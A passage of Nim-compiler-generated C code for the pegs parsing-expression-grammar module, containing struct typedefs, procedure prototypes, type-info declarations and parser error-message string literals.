typedef struct tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA;
typedef struct tySequence__5DSB9bTgCQCsIApS5TVlG8g tySequence__5DSB9bTgCQCsIApS5TVlG8g;
typedef struct tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ;
typedef struct tyTuple__1v9bKyksXWMsm0vNwmZ4EuQ tyTuple__1v9bKyksXWMsm0vNwmZ4EuQ;
typedef struct tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg;
typedef struct tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q;
typedef struct TNimType TNimType;
typedef struct TNimNode TNimNode;
typedef struct tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA;
typedef struct tySequence__wbtGjaWHe0od6j1oiCOVBQ tySequence__wbtGjaWHe0od6j1oiCOVBQ;
typedef struct tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA;
typedef struct tyObject_ValueError__yoNlBGx0D2tRizIdhQuENw tyObject_ValueError__yoNlBGx0D2tRizIdhQuENw;
typedef struct tyObject_CatchableError__qrLSDoe2oBoAqNtJ9badtnA tyObject_CatchableError__qrLSDoe2oBoAqNtJ9badtnA;
typedef struct Exception Exception;
typedef struct RootObj RootObj;
typedef struct tySequence__uB9b75OUPRENsBAu4AnoePA tySequence__uB9b75OUPRENsBAu4AnoePA;
typedef struct tyObject_StackTraceEntry__oLyohQ7O2XOvGnflOss8EA tyObject_StackTraceEntry__oLyohQ7O2XOvGnflOss8EA;
/* section: NIM_merge_TYPES */
struct TGenericSeq {
NI len;
NI reserved;
};
struct NimStringDesc {
TGenericSeq Sup;
NIM_CHAR data[SEQ_DECL_SIZE];
};
typedef NU8 tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q;
struct tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ {
tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q kind;
union{
NimStringDesc* term;
NIM_CHAR ch;
NU8* charChoice;
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* nt;
NI index;
tySequence__5DSB9bTgCQCsIApS5TVlG8g* sons;
};
};
struct tyTuple__1v9bKyksXWMsm0vNwmZ4EuQ {
NI Field0;
NI Field1;
};
typedef tyTuple__1v9bKyksXWMsm0vNwmZ4EuQ tyArray__fGQVl7HExKS7O8hYfcMlAQ[20];
struct tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ {
tyArray__fGQVl7HExKS7O8hYfcMlAQ matches;
NI ml;
NI origStart;
};
typedef NU8 tySet_tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw;
struct tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA {
NimStringDesc* name;
NI line;
NI col;
tySet_tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw flags;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ rule;
};
typedef NU8 tyEnum_TNimKind__jIBKr1ejBgsfM33Kxw4j7A;
typedef NU8 tySet_tyEnum_TNimTypeFlag__v8QUszD1sWlSIWZz7mC4bQ;
typedef N_NIMCALL_PTR(void, tyProc__ojoeKfW4VYIm36I9cpDTQIg) (void* p, NI op);
typedef N_NIMCALL_PTR(void*, tyProc__WSm2xU5ARYv9aAR4l0z9c9auQ) (void* p);
struct TNimType {
NI size;
NI align;
tyEnum_TNimKind__jIBKr1ejBgsfM33Kxw4j7A kind;
tySet_tyEnum_TNimTypeFlag__v8QUszD1sWlSIWZz7mC4bQ flags;
TNimType* base;
TNimNode* node;
void* finalizer;
tyProc__ojoeKfW4VYIm36I9cpDTQIg marker;
tyProc__WSm2xU5ARYv9aAR4l0z9c9auQ deepcopy;
};
struct tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q {
TNimType* m_type;
NI bufpos;
NimStringDesc* buf;
NI lineNumber;
NI lineStart;
NI colOffset;
NimStringDesc* filename;
};
typedef NU8 tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw;
typedef NU8 tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA;
typedef NU8 tySet_tyChar__nmiMWKVIe46vacnhAFrQvw[32];
struct tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA {
tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw kind;
tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA modifier;
NimStringDesc* literal;
tySet_tyChar__nmiMWKVIe46vacnhAFrQvw charset;
NI index;
};
struct tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg {
tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q Sup;
tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA tok;
tySequence__wbtGjaWHe0od6j1oiCOVBQ* nonterms;
tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA modifier;
NI captures;
NIM_BOOL identIsVerbatim;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ skip;
};
typedef NU8 tyEnum_TNimNodeKind__unfNsxrcATrufDZmpBq4HQ;
struct TNimNode {
tyEnum_TNimNodeKind__unfNsxrcATrufDZmpBq4HQ kind;
NI offset;
TNimType* typ;
NCSTRING name;
NI len;
TNimNode** sons;
};
typedef NU8 tyEnum_NonTerminalFlag__raeF9a9anryo8cnwfITE0Glw;
struct RootObj {
TNimType* m_type;
};
struct Exception {
RootObj Sup;
Exception* parent;
NCSTRING name;
NimStringDesc* message;
tySequence__uB9b75OUPRENsBAu4AnoePA* trace;
Exception* up;
};
struct tyObject_CatchableError__qrLSDoe2oBoAqNtJ9badtnA {
Exception Sup;
};
struct tyObject_ValueError__yoNlBGx0D2tRizIdhQuENw {
tyObject_CatchableError__qrLSDoe2oBoAqNtJ9badtnA Sup;
};
struct tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA {
tyObject_ValueError__yoNlBGx0D2tRizIdhQuENw Sup;
};
typedef NimStringDesc* tyArray__sMpvt1sOxOJ3LFGulnbeMQ[4];
typedef tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ tyArray__rS9bk8uu9axETY9bOxp2l1GHQ[2];
typedef NimStringDesc* tyArray__9bfXgNlAdUyWPxicWlc3FWA[25];
struct tyObject_StackTraceEntry__oLyohQ7O2XOvGnflOss8EA {
NCSTRING procname;
NI line;
NCSTRING filename;
};
/* section: NIM_merge_SEQ_TYPES */
struct tySequence__5DSB9bTgCQCsIApS5TVlG8g {
TGenericSeq Sup;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ data[SEQ_DECL_SIZE];
};
struct tySequence__wbtGjaWHe0od6j1oiCOVBQ {
TGenericSeq Sup;
tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* data[SEQ_DECL_SIZE];
};
struct tySequence__uB9b75OUPRENsBAu4AnoePA {
TGenericSeq Sup;
tyObject_StackTraceEntry__oLyohQ7O2XOvGnflOss8EA data[SEQ_DECL_SIZE];
};
/* section: NIM_merge_PROC_HEADERS */
N_LIB_PRIVATE N_NIMCALL(NI, npegsmatchLenCapture)(NimStringDesc* s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pattern, NimStringDesc** matches, NI matchesLen_0, NI start);
static N_INLINE(void, nimZeroMem)(void* p, NI size);
static N_INLINE(void, nimSetMem__zxfKBYntu9cBapkhrCOk1fgmemory)(void* a, int v, NI size);
static N_INLINE(NIM_BOOL*, nimErrorFlag)(void);
N_LIB_PRIVATE N_NIMCALL(NI, npegsrawMatch)(NimStringDesc* s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ p, NI start, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* c);
N_LIB_PRIVATE N_NIMCALL(NI, matchIt__HsNdIDFjzA9cQdbHEL6NSBg)(NimStringDesc* sX60gensym26_, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pX60gensym26_, NI startX60gensym26_, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* cX60gensym26_);
N_LIB_PRIVATE N_NIMCALL(NI, runeLenAt__WMpE2MYPWM1HlcK1wXx02Q)(NimStringDesc* s, NI i);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, nucisAlpha)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, nucisLower)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, nucisUpper)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, nucisTitle)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, nucisWhiteSpace)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, eqeq___vKtIOoSlgRq49afS1c8u7zg)(NI32 a, NI32 b);
N_LIB_PRIVATE N_NIMCALL(NI32, nuctoLower)(NI32 c);
N_LIB_PRIVATE N_NIMCALL(NI, matchBackRef__HsNdIDFjzA9cQdbHEL6NSBg_2)(NimStringDesc* sX60gensym26_, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ pX60gensym26_, NI startX60gensym26_, tyObject_Captures__tZhlqR24EekS3w5Qr6WNZQ* cX60gensym26_);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, substr__2yh9cer0ymNRHlOOg8P7IuA)(NimStringDesc* s, NI first, NI last);
N_LIB_PRIVATE N_NIMCALL(void, parsePeg__lS04BXBOBnydcCBNVBF9bNw)(NimStringDesc* pattern, NimStringDesc* filename, NI line, NI col, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_NIMCALL(void, Marker_tyRef__DWDl83X3sWmMXGYAzF5Aug)(void* p, NI op);
N_LIB_PRIVATE N_NIMCALL(void, nimGCvisit)(void* d, NI op);
static N_NIMCALL(void, Marker_tySequence__5DSB9bTgCQCsIApS5TVlG8g)(void* p, NI op);
static N_NIMCALL(void, Marker_tyRef__ne9c8mGWiMWXBIOmu9cRFBTw)(void* p, NI op);
static N_NIMCALL(void, Marker_tySequence__wbtGjaWHe0od6j1oiCOVBQ)(void* p, NI op);
N_LIB_PRIVATE N_NIMCALL(void, init__sHzYnQvltM12eWSAM9cw7jw)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NimStringDesc* input, NimStringDesc* filename, NI line, NI col);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, copyString)(NimStringDesc* src);
static N_INLINE(void, nimCopyMem)(void* dest, void* source, NI size);
N_LIB_PRIVATE N_NIMCALL(void, getTok__N6UyL3NoCbQFjnydJ8RVDg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p);
N_LIB_PRIVATE N_NIMCALL(void, getTok__zUGRkOORbt8wzxyKxNHYHg)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, setLengthStr)(NimStringDesc* s, NI newLen);
N_LIB_PRIVATE N_NIMCALL(void, skip__9bScc7MO8VP7aEapK3GqXvw)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c);
N_LIB_PRIVATE N_NIMCALL(NI, handleCR__Eyh3ljHjW4sKcIgw9aVUELA)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NI pos);
N_LIB_PRIVATE N_NIMCALL(NI, handleLF__Eyh3ljHjW4sKcIgw9aVUELA_2)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NI pos);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, addChar)(NimStringDesc* s, NIM_CHAR c);
static N_INLINE(void, appendString)(NimStringDesc* dest, NimStringDesc* src);
static N_INLINE(void, copyMem__i80o3k0SgEI5gTRCzYdyWAsystem)(void* dest, void* source, NI size);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, resizeString)(NimStringDesc* dest, NI addlen);
N_LIB_PRIVATE N_NIMCALL(void, getCharSet__zUGRkOORbt8wzxyKxNHYHg_2)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(void, getEscapedChar__zUGRkOORbt8wzxyKxNHYHg_3)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(void, handleHexChar__NSvL0y9aEFOo8fCyOplOY4w)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, NI* xi);
N_LIB_PRIVATE N_NIMCALL(void, getBuiltin__zUGRkOORbt8wzxyKxNHYHg_4)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(void, getSymbol__zUGRkOORbt8wzxyKxNHYHg_5)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(void, getString__zUGRkOORbt8wzxyKxNHYHg_6)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
N_LIB_PRIVATE N_NIMCALL(void, getDollar__zUGRkOORbt8wzxyKxNHYHg_7)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok);
static N_INLINE(NIM_BOOL, eqStrings)(NimStringDesc* a, NimStringDesc* b);
static N_INLINE(NIM_BOOL, equalMem__9bGgqEk7RXXl6eqM9c1HdELAsystem)(void* a, void* b, NI size);
static N_INLINE(int, nimCmpMem)(void* a, void* b, NI size);
N_LIB_PRIVATE N_NIMCALL(void, pegError__BMmAapFwghEVCePgcFScUg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, NimStringDesc* msg, NI line, NI col);
static N_NIMCALL(void, Marker_tyRef__9cnKZRDpncoV9cvYmm9cA6N5A)(void* p, NI op);
N_LIB_PRIVATE N_NIMCALL(void*, newObj)(TNimType* typ, NI size);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, errorStr__rgv2w6Fu889c9cU2eKr8xucg)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NimStringDesc* msg, NI line, NI col);
static N_INLINE(NI, getLine__VLHJcdFBF4RkQrFxGrHR4gpegs)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L);
static N_INLINE(NI, getColumn__VLHJcdFBF4RkQrFxGrHR4g_2pegs)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, nsuFormatOpenArray)(NimStringDesc* formatstr, NimStringDesc** a, NI aLen_0);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, nimIntToStr)(NI x);
N_LIB_PRIVATE N_NIMCALL(void, raiseExceptionEx)(Exception* e, NCSTRING ename, NCSTRING procname, NCSTRING filename, NI line);
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, rawNewString)(NI space);
N_LIB_PRIVATE N_NIMCALL(void, rawParse__MaL2q9aiyWZXRK0fbgHwGWA)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsOptional)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void*, newSeq)(TNimType* typ, NI len);
N_LIB_PRIVATE N_NIMCALL(void, primary__MaL2q9aiyWZXRK0fbgHwGWA_2)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unsureAsgnRef)(void** dest, void* src);
N_LIB_PRIVATE N_NIMCALL(void, npegsAndPredicate)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsNotPredicate)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsSearch)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npgegsCapturedSearch)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, token__yNO39bt9aZu9aox0jITQ9cJ8aw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ terminal, tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegssequence)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* a, NI aLen_0, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, addSequence__bek7Fed15RyBUuSg6zITEw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* dest, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ elem);
static N_INLINE(NI, len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a);
N_LIB_PRIVATE N_NIMCALL(void, npegstermStr)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, appendChar)(NimStringDesc* dest, NIM_CHAR c);
static N_INLINE(void, add__Yxqc7pnofxe0aIWMJo4J9cwpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* d, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ s);
N_LIB_PRIVATE N_NIMCALL(TGenericSeq*, incrSeqV3)(TGenericSeq* s, TNimType* typ);
N_LIB_PRIVATE N_NIMCALL(void, modifiedTerm__PRjoiBA234MDaFoq6R9cMUw)(NimStringDesc* s, tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegstermIgnoreCase)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegstermIgnoreStyle)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(NIM_BOOL, arrowIsNextTok__r1Fu3ClqdJ5GNevZsmi3CA)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c);
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, getNonTerminal__owz7gr9cNnue9b2MsAC72zMQ)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, NimStringDesc* name);
N_LIB_PRIVATE N_NIMCALL(NI, nsuCmpIgnoreStyle)(NimStringDesc* a, NimStringDesc* b);
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, npegsnewNonTerminal)(NimStringDesc* name, NI line, NI column);
N_LIB_PRIVATE N_NIMCALL(void, npegsnonterminal)(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA* n, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(NI, spaceCost__wfSWZhj3xiJHwwKIV0BpPw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ n);
N_LIB_PRIVATE N_NIMCALL(void, npegscharSet)(tySet_tyChar__nmiMWKVIe46vacnhAFrQvw s, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, parseExpr__MaL2q9aiyWZXRK0fbgHwGWA_3)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, seqExpr__MaL2q9aiyWZXRK0fbgHwGWA_4)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsOrderedChoice)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* a, NI aLen_0, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, addChoice__bek7Fed15RyBUuSg6zITEw_2)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* dest, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ elem);
N_LIB_PRIVATE N_NIMCALL(void, eat__hjU4sv1ca6ZjKpV3nc6Zhg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw kind);
N_LIB_PRIVATE N_NIMCALL(void, npegsCapture)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, any__vJ7L9clGomKkGyXSc8Lc5TQpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, anyRune__vJ7L9clGomKkGyXSc8Lc5TQ_2pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, builtin__MaL2q9aiyWZXRK0fbgHwGWA_5)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(NI, hashString)(NimStringDesc* s);
static N_INLINE(void, newLine__vJ7L9clGomKkGyXSc8Lc5TQ_3pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsGreedyRep)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unicodeLetter__vJ7L9clGomKkGyXSc8Lc5TQ_4pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unicodeUpper__vJ7L9clGomKkGyXSc8Lc5TQ_5pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unicodeLower__vJ7L9clGomKkGyXSc8Lc5TQ_6pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unicodeTitle__vJ7L9clGomKkGyXSc8Lc5TQ_7pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, unicodeWhitespace__vJ7L9clGomKkGyXSc8Lc5TQ_8pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegstermChar)(NIM_CHAR t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, endAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_9pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
static N_INLINE(void, startAnchor__vJ7L9clGomKkGyXSc8Lc5TQ_10pegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, modifiedBackref__lP6hszPxu8STBkt8ALHfmw)(NI s, tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA m, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsbackref)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsbackrefIgnoreCase)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsbackrefIgnoreStyle)(NI index, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(void, npegsGreedyPosRep)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result);
N_LIB_PRIVATE N_NIMCALL(tyObject_NonTerminalObj__VMn2tGRm8B9a9cqMEec3KPEA*, parseRule__FcYmx9aP0FAQ09bSN09bCgCzA)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p);
/* section: NIM_merge_DATA */
N_LIB_PRIVATE TNimType NTI__PtCHh4SlKU9c9auwVazDFB6Q_;
extern TNimType NTI__rR5Bzr1D5krxoo1NcNyeMA_;
extern TNimType NTI__77mFvmsOLKik79ci2hXkHEg_;
N_LIB_PRIVATE TNimType NTI__YGbAG2ONLZxyHsgzU1OeCg_;
N_LIB_PRIVATE TNimType NTI__7MBEr6JdfMtt2SLdWJ4TnA_;
N_LIB_PRIVATE TNimType NTI__PXxfBn560z0EWOn5M2H9aWw_;
N_LIB_PRIVATE TNimType NTI__7Wz82JmsepInwCEDiPsupA_;
extern TNimType NTI__HDqWPvEAxZK51ZcfaeQEdg_;
N_LIB_PRIVATE TNimType NTI__VMn2tGRm8B9a9cqMEec3KPEA_;
N_LIB_PRIVATE TNimType NTI__raeF9a9anryo8cnwfITE0Glw_;
N_LIB_PRIVATE TNimType NTI__lU0PfHKIn29cxb4xJ1TaXlA_;
N_LIB_PRIVATE TNimType NTI__4Bytir9b2lq5I84yi5O7ztQ_;
N_LIB_PRIVATE TNimType NTI__r9a6rAhGclsLWkBysfmtr6Q_;
TNimNode* NimDT___4Bytir9b2lq5I84yi5O7ztQ_kind[34];
extern TNimType NTI__nmiMWKVIe46vacnhAFrQvw_;
N_LIB_PRIVATE TNimType NTI__DWDl83X3sWmMXGYAzF5Aug_;
extern TNimType NTI__a9bIsIkdQvQMv0xYGrfgSag_;
N_LIB_PRIVATE TNimType NTI__5DSB9bTgCQCsIApS5TVlG8g_;
N_LIB_PRIVATE TNimType NTI__ne9c8mGWiMWXBIOmu9cRFBTw_;
N_LIB_PRIVATE TNimType NTI__wbtGjaWHe0od6j1oiCOVBQ_;
extern TNimType NTI__VaVACK0bpYmqIQ0mKcHfQQ_;
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_18 = {
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
;
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_19, "[EOF]", 5);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_20, "{@}", 3);
static NIM_CONST tySet_tyChar__nmiMWKVIe46vacnhAFrQvw TM__YGOrctedenU9ao6jM7xmy6g_21 = {
0xfe, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}
;
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_22, "i", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_23, "y", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_24, "v", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_25, "<-", 2);
extern TNimType NTI__yoNlBGx0D2tRizIdhQuENw_;
N_LIB_PRIVATE TNimType NTI__puU8NKFnFhXREunnzDo9bUA_;
N_LIB_PRIVATE TNimType NTI__9cnKZRDpncoV9cvYmm9cA6N5A_;
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_26, "$1($2, $3) Error: $4", 20);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_27, "\'", 1);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_28, "\' is invalid token", 18);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_29, "skip", 4);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_30, "expression expected, but found: ", 32);
STRING_LITERAL(TM__YGOrctedenU9ao6jM7xmy6g_31, "binary zero (\'\\0\') not allowed in character class", 49);
